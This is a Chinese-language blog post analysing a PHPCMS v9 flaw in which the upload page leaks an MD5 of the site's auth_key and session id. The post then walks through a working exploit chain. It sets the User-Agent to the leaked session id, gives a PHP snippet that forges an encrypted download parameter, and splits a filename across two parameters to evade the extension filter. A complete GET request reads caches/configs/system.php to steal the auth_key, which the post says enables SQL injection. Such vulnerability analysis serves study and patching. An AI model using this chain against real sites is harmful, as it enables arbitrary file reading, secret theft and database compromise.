PHPCMS某处设计缺陷可致authkey泄露

Posted 2020-09-20 羊小弟

在分析几个phpcms的漏洞就换分析其他的，换换口味。

漏洞来源：http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html

swfupload上传页面输出了 MD5(auth_key+sess_id)。

函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行

function initupload($module, $catid,$args, $userid, $groupid = \'8\', $isadmin = \'0\',$userid_flash=\'0\'){
		$grouplist = getcache(\'grouplist\',\'member\');
		if($isadmin==0 && !$grouplist[$groupid][\'allowattachment\']) return false;
		extract(getswfinit($args));
		$siteid = param::get_cookie(\'siteid\');
		$site_setting = get_site_setting($siteid);
		$file_size_limit = $site_setting[\'upload_maxsize\'];
		$sess_id = SYS_TIME;
		$admin_url = pc_base::load_config(\'system\',\'admin_url\');
		$upload_path = empty($admin_url) ? APP_PATH : \'http://\'.$admin_url.\'/\';
		$swf_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$sess_id);
		$init =  \'var swfu = \\\'\\\';
		$(document).ready(function(){
		swfu = new SWFUpload({
			flash_url:"\'.JS_PATH.\'swfupload/swfupload.swf?"+Math.random(),
			upload_url:"\'.$upload_path.\'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
			file_post_name : "Filedata",
			post_params:{"SWFUPLOADSESSID":"\'.$sess_id.\'","module":"\'.$module.\'","catid":"\'.$_GET[\'catid\'].\'","userid":"\'.$userid.\'","siteid":"\'.$siteid.\'","dosubmit":"1","thumb_width":"\'.$thumb_width.\'","thumb_height":"\'.$thumb_height.\'","watermark_enable":"\'.$watermark_enable.\'","filetype_post":"\'.$file_types_post.\'","swf_auth_key":"\'.$swf_auth_key.\'","isadmin":"\'.$isadmin.\'","groupid":"\'.$groupid.\'","userid_flash":"\'.$userid_flash.\'"},
			file_size_limit:"\'.$file_size_limit.\'",
			file_types:"\'.$file_types.\'",
			file_types_description:"All Files",
			file_upload_limit:"\'.$file_upload_limit.\'",
			custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},
	 
			button_image_url: "",
			button_width: 75,
			button_height: 28,
			button_placeholder_id: "buttonPlaceHolder",
			button_text_style: "",
			button_text_top_padding: 3,
			button_text_left_padding: 12,
			button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
			button_cursor: SWFUpload.CURSOR.HAND,

			file_dialog_start_handler : fileDialogStart,
			file_queued_handler : fileQueued,
			file_queue_error_handler:fileQueueError,
			file_dialog_complete_handler:fileDialogComplete,
			upload_progress_handler:uploadProgress,
			upload_error_handler:uploadError,
			upload_success_handler:uploadSuccess,
			upload_complete_handler:uploadComplete
			});
		})\';
		return $init;
	}	

　　可以看到$init参数的值为一段js代码。

看到这里：post_params:{"SWFUPLOADSESSID":"\'.$sess_id.\'","module":"\'.$module.\'","catid":"\'.$_GET[\'catid\'].\'","userid":"\'.$userid.\'","siteid":"\'.$siteid.\'","dosubmit":"1","thumb_width":"\'.$thumb_width.\'","thumb_height":"\'.$thumb_height.\'","watermark_enable":"\'.$watermark_enable.\'","filetype_post":"\'.$file_types_post.\'","swf_auth_key":"\'.$swf_auth_key.\'","isadmin":"\'.$isadmin.\'","groupid":"\'.$groupid.\'","userid_flash":"\'.$userid_flash.\'"},

混杂着$sess_id和$swf_auth_key的值

在跟踪到上面去$swf_auth_key的值。$swf_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$sess_id);

$swf_auth_key是由auth_key和$sess_id联合在一起共同进行md5加密。并且$swf_auth_key，$sess_id都输出到页面上了。

跟踪这整个函数，看看哪里引用了。

 

 

限制：在线投稿(需要后台开启)

在发布投稿的时候，有个图片上传，url就位于那里。

 

 

查看源码就能看到输出在页面的值了。

记录下来两个值。

接着看到第二个漏洞点。

位于 /phpcms/modules/content/down.php  第83-124行。

	public function download() {
		$a_k = trim($_GET[\'a_k\']);
		$pc_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$_SERVER[\'HTTP_USER_AGENT\']);
		$a_k = sys_auth($a_k, \'DECODE\', $pc_auth_key);
		if(empty($a_k)) showmessage(L(\'illegal_parameters\'));
		unset($i,$m,$f,$t,$ip);
		parse_str($a_k);		
		if(isset($i)) $downid = intval($i);
		if(!isset($m)) showmessage(L(\'illegal_parameters\'));
		if(!isset($modelid)) showmessage(L(\'illegal_parameters\'));
		if(empty($f)) showmessage(L(\'url_invalid\'));
		if(!$i || $m<0) showmessage(L(\'illegal_parameters\'));
		if(!isset($t)) showmessage(L(\'illegal_parameters\'));
		if(!isset($ip)) showmessage(L(\'illegal_parameters\'));
		$starttime = intval($t);
		if(preg_match(\'/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i\',$f) || strpos($f, ":\\\\")!==FALSE || strpos($f,\'..\')!==FALSE) showmessage(L(\'url_error\'));
		$fileurl = trim($f);
		if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(\'illegal_parameters\'));	
		$endtime = SYS_TIME - $starttime;
		if($endtime > 3600) showmessage(L(\'url_invalid\'));
		if($m) $fileurl = trim($s).trim($fileurl);
		//远程文件
		if(strpos($fileurl, \':/\') && (strpos($fileurl, pc_base::load_config(\'system\',\'upload_url\')) === false)) { 
			header("Location: $fileurl");
		} else {
			if($d == 0) {
				header("Location: ".$fileurl);
			} else {
				$fileurl = str_replace(array(pc_base::load_config(\'system\',\'upload_url\'),\'/\'), array(pc_base::load_config(\'system\',\'upload_path\'),DIRECTORY_SEPARATOR), $fileurl);
				$filename = basename($fileurl);
				//处理中文文件
				if(preg_match("/^([\\s\\S]*?)([\\x81-\\xfe][\\x40-\\xfe])([\\s\\S]*?)/", $fileurl)) {
					$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\\\", "/", ":"), urlencode($fileurl));
					$filename = urldecode(basename($filename));
				}
				$ext = fileext($filename);
				$filename = date(\'Ymd_his\').random(3).\'.\'.$ext;
				file_down($fileurl, $filename);
			}
		}
	}

　　看到开头的这句话：$pc_auth_key = md5(pc_base::load_config(\'system\',\'auth_key\').$_SERVER[\'HTTP_USER_AGENT\']);

利用auth_key和HTTP_USER_AGENT进行加密。UA我们本地是可以控制的，所以我们可以让UA的值与$sess_id的值相同，然后$pc_auth_key 我们也是知道的。

看到这句，$a_k = sys_auth($a_k, \'DECODE\', $pc_auth_key); 

$a_k是利用GET过来的，$pc_auth_key我们又是知道的，所以我们可以本地生成经过加密$a_k的值

<?php 
include \'/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php\';
echo sys_auth(\'i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp\', \'ENCODE\', \'12d92ed5288d3779cbbc21050a2872c7\');
?>

　　先包含sys_auth函数，然后构造我们要下载的文件地址。

上面的那些参数是download函数需要的，具体的解释在以前文章有个这里的windows下任意文件相同

s和f参数，利用拼接来绕过检查，也就是这句：if($m) $fileurl = trim($s).trim($fileurl);

然后就能读取任意文件啦。

 

 

GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362

 

a_k的值是php文件加密来的，需要替换，UA是$sess_id的值，也是需要替换。

 

读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。

有了这个auth_key，我们就能在本地混合sql语句然后加密auth_key，网站进行解码以后输出sql语句来绕过检查，然后对网站进行注入等操作，具体可以看http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html，或者bobao.360.cn 发的phpcmsv9.6.2的注入文章。